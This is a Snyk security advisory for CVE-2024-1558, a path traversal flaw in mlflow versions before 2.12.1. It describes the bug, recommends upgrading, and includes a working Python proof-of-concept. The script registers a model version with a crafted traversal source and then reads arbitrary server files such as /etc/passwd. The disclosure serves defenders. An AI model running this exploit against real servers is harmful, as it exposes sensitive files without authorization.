Path Traversal Affecting mlflow package, versions [,2.12.1)


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.04% (13th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Path Traversal vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-PYTHON-MLFLOW-6615821
  • published18 Apr 2024
  • disclosed16 Apr 2024
  • creditozelis

Introduced: 16 Apr 2024

CVE-2024-1558  (opens in a new tab)
CWE-22  (opens in a new tab)

How to fix?

Upgrade mlflow to version 2.12.1 or higher.

Overview

mlflow is a platform to streamline machine learning development, including tracking experiments, packaging code into reproducible runs, and sharing and deploying models.

Affected versions of this package are vulnerable to Path Traversal due to improper validation of the source parameter within the _create_model_version function. An attacker can gain arbitrary file read access on the server by crafting a source parameter that bypasses the _validate_non_local_source_contains_relative_paths(source) function's checks. This issue stems from the handling of unquoted URL characters and the misuse of the original source value for model version creation, leading to the exposure of sensitive files when interacting with the /model-versions/get-artifact handler.

PoC

from argparse import ArgumentParser
from random import randbytes
from requests import Session
from urllib.parse import unquote

if __name__ == "__main__":
    parser = ArgumentParser()
    parser.add_argument("--url", required=True)
    parser.add_argument("--path", default="/etc/passwd")
    args = parser.parse_args()

    url = args.url
    ajax_api = f"{url}/ajax-api/2.0/mlflow"

    with Session() as s:
        # upload an artifact to force creation of './mlartifacts' directory in servers CWD in case
        # no artifacts were uploaded before:
        experiment_name = "e_" + randbytes(4).hex()
        rsp = s.post(f"{ajax_api}/experiments/create", json={ "name" : experiment_name })
        experiment_id = rsp.json()["experiment_id"]

        rsp = s.post(f"{ajax_api}/runs/create", json={ "experiment_id" : experiment_id })
        run_uuid = rsp.json()["run"]["info"]["run_uuid"]

        rsp = s.post(f"{ajax_api}/upload-artifact?run_uuid={run_uuid}&path=xxx", data="whatever")
        rsp = s.post(f"{ajax_api}/experiments/delete", json={ "experiment_id" : experiment_id })

        # create a registered model and version:
        model_name = "m_" + randbytes(4).hex()
        rsp = s.post(f"{ajax_api}/registered-models/create", json={ "name" : model_name })

        rsp = s.post(f"{ajax_api}/model-versions/create", json={
            "name" : model_name,
            "source": f"http:///xxx%23/api/2.0/mlflow-artifacts/artifacts/../../../../../../../../../../../../"
        })

        rsp = s.get(f"{args.url}/model-versions/get-artifact", params={
            "name" : model_name,
            "version" : 1,
            "path" : args.path.removeprefix("/")
        })

        try:
            print(rsp.content.decode())
        except UnicodeDecodeError:
            print(rsp.content)

CVSS Scores

version 3.1